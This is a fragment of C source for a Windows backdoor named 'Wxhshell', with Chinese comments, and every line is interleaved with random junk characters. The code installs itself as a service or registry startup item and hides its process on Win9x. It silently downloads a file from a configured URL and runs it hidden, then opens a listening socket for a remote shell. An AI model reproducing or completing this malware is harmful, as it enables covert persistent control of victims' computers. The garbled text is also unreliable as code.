s#)fnNQ, CloseHandle(hProcess); @]Iku 6d- 46Nl];g1` if(strstr(procName,"services")) return 1; // 以服务启动 *1ku2e]z #kA/,qyM return 0; // 注册表启动 Sw%=/ g } SL pd~ZC? Z7K;~* // 主模块 vs7Hg)F int StartWxhshell(LPSTR lpCmdLine) <3O> { EtcAU}9 SOCKET wsl; _;v4]MU BOOL val=TRUE; k/j]*~" int port=0; {]Nvq9? struct sockaddr_in door; x}AWWmXv y*vs}G'W if(wscfg.ws_autoins) Install(); ;[ pyKh Rzj5B\+Rk( port=atoi(lpCmdLine); A$;U*7TJuO "CT'^d+ if(port<=0) port=wscfg.ws_port; fg*IHha k~`pV/6 WSADATA data; `L]cJ0tAs if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rzLpVpTaz Y71io^td~j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *S:^3{.m= setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;pBSGr9 door.sin_family = AF_INET; ,kpkXK door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zh{Pzyp door.sin_port = htons(port); yJppPIW^ dE.R$SM if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (pREo/ T closesocket(wsl); < :<E~anH return 1; 9Fv1D } XBF#ILJ X4Q?]{ if(listen(wsl,2) == INVALID_SOCKET) { ] 8+! closesocket(wsl); 2?z3s|+[ return 1; HP:ee+n } 1bYc^(z0 Wxhshell(wsl); ]
RN&s
WSACleanup(); iNe;h| ^0pd- n@pn return 0; VI74{='= aVNRhnM } *q=pv8&*s |k^'}n // 以NT服务方式启动 =v:vc~G6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ht(RX { *_!nil 3(i DWORD status = 0; pTprU)sa7 DWORD specificError = 0xfffffff; ltwX- aiF7\^aw$ serviceStatus.dwServiceType = SERVICE_WIN32; -ce N}Cb3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; .Quu_S_vH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i,8h
B(M! serviceStatus.dwWin32ExitCode = 0; ;
"ux{ . serviceStatus.dwServiceSpecificExitCode = 0; =;l.<{<VH serviceStatus.dwCheckPoint = 0; A Ns.`S serviceStatus.dwWaitHint = 0; 4fT,/[k? plh.-" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I
^?TabL if (hServiceStatusHandle==0) return; Dwj!B;AZ_ |j^^*z@ status = GetLastError(); ?S~HnIn if (status!=NO_ERROR) }JeGjpAcV { r?nvJHP serviceStatus.dwCurrentState = SERVICE_STOPPED; @mSdksB/L serviceStatus.dwCheckPoint = 0; X#EMmB! serviceStatus.dwWaitHint = 0; ONH!ms(kb serviceStatus.dwWin32ExitCode = status; AME3hA serviceStatus.dwServiceSpecificExitCode = specificError; ZNuz%VO SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3=RV Jb return; |F=!0Id< } YiJnh47 }%c2u/PQ serviceStatus.dwCurrentState = SERVICE_RUNNING; zflq|d W serviceStatus.dwCheckPoint = 0; O:IU|INq8 serviceStatus.dwWaitHint = 0; Ew5(U`] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j1Fy'os"! } R9A8)dDz ]i(tou-[i // 处理NT服务事件,比如:启动、停止 '-oS=OrZ VOID WINAPI NTServiceHandler(DWORD fdwControl) v8Vw.Ce`f { N7Kq$G2O switch(fdwControl) 9]< p { i,r O3Jn case SERVICE_CONTROL_STOP: z#ab
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Xi serviceStatus.dwWin32ExitCode = 0; VCSHq&p8 serviceStatus.dwCurrentState = SERVICE_STOPPED; {F6>XuS=u serviceStatus.dwCheckPoint = 0; {Fs}8\ z serviceStatus.dwWaitHint = 0; Bi;D d?. { t~H'Ugv^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5%BexIk } [fx1H~T< return; }TY}sr
case SERVICE_CONTROL_PAUSE: ,pM~Phmp serviceStatus.dwCurrentState = SERVICE_PAUSED; J -tOO break; 7I;xRo| case SERVICE_CONTROL_CONTINUE: NRN3*YGo serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 js!gJC break;
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case SERVICE_CONTROL_INTERROGATE: YT'G#U1x~ break; a"SH_+T{ }; /j/,@,lw7z SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7?!A~Seo| } JL[$B1 $\M<gW6 // 标准应用程序主函数
J@sH(S int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6_]-&&Nr { ZG[P?fM @ x_. // 获取操作系统版本 v%v(-, _q OsIsNt=GetOsVer(); '#RzX8|v< GetModuleFileName(NULL,ExeFile,MAX_PATH); K2$ fKju kW#,o 9f\ // 从命令行安装 XtY!fo* if(strpbrk(lpCmdLine,"iI")) Install(); GKT2x '(e 5pSo`) // 下载执行文件 -AnQZy if(wscfg.ws_downexe) { wNo2$>* if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q6blX6DWU WinExec(wscfg.ws_filenam,SW_HIDE); =^8*]/k } 5&?[Vt x\PZ.o if(!OsIsNt) { %LyZaU_sB // 如果时win9x,隐藏进程并且设置为注册表启动 '!eg9}< HideProc(); !"1}zeve StartWxhshell(lpCmdLine); B7PkCS&X } \|e>(h!l; else `_%UK=m
if(StartFromService()) _gU:!:} // 以服务方式启动 8Na.H::cZ StartServiceCtrlDispatcher(DispatchTable); <;Q1u,Mc else @Wgd(Ezd // 普通方式启动 !dnCrR StartWxhshell(lpCmdLine); >QyJRMY loRT+u$& return 0; H<_BnT# }
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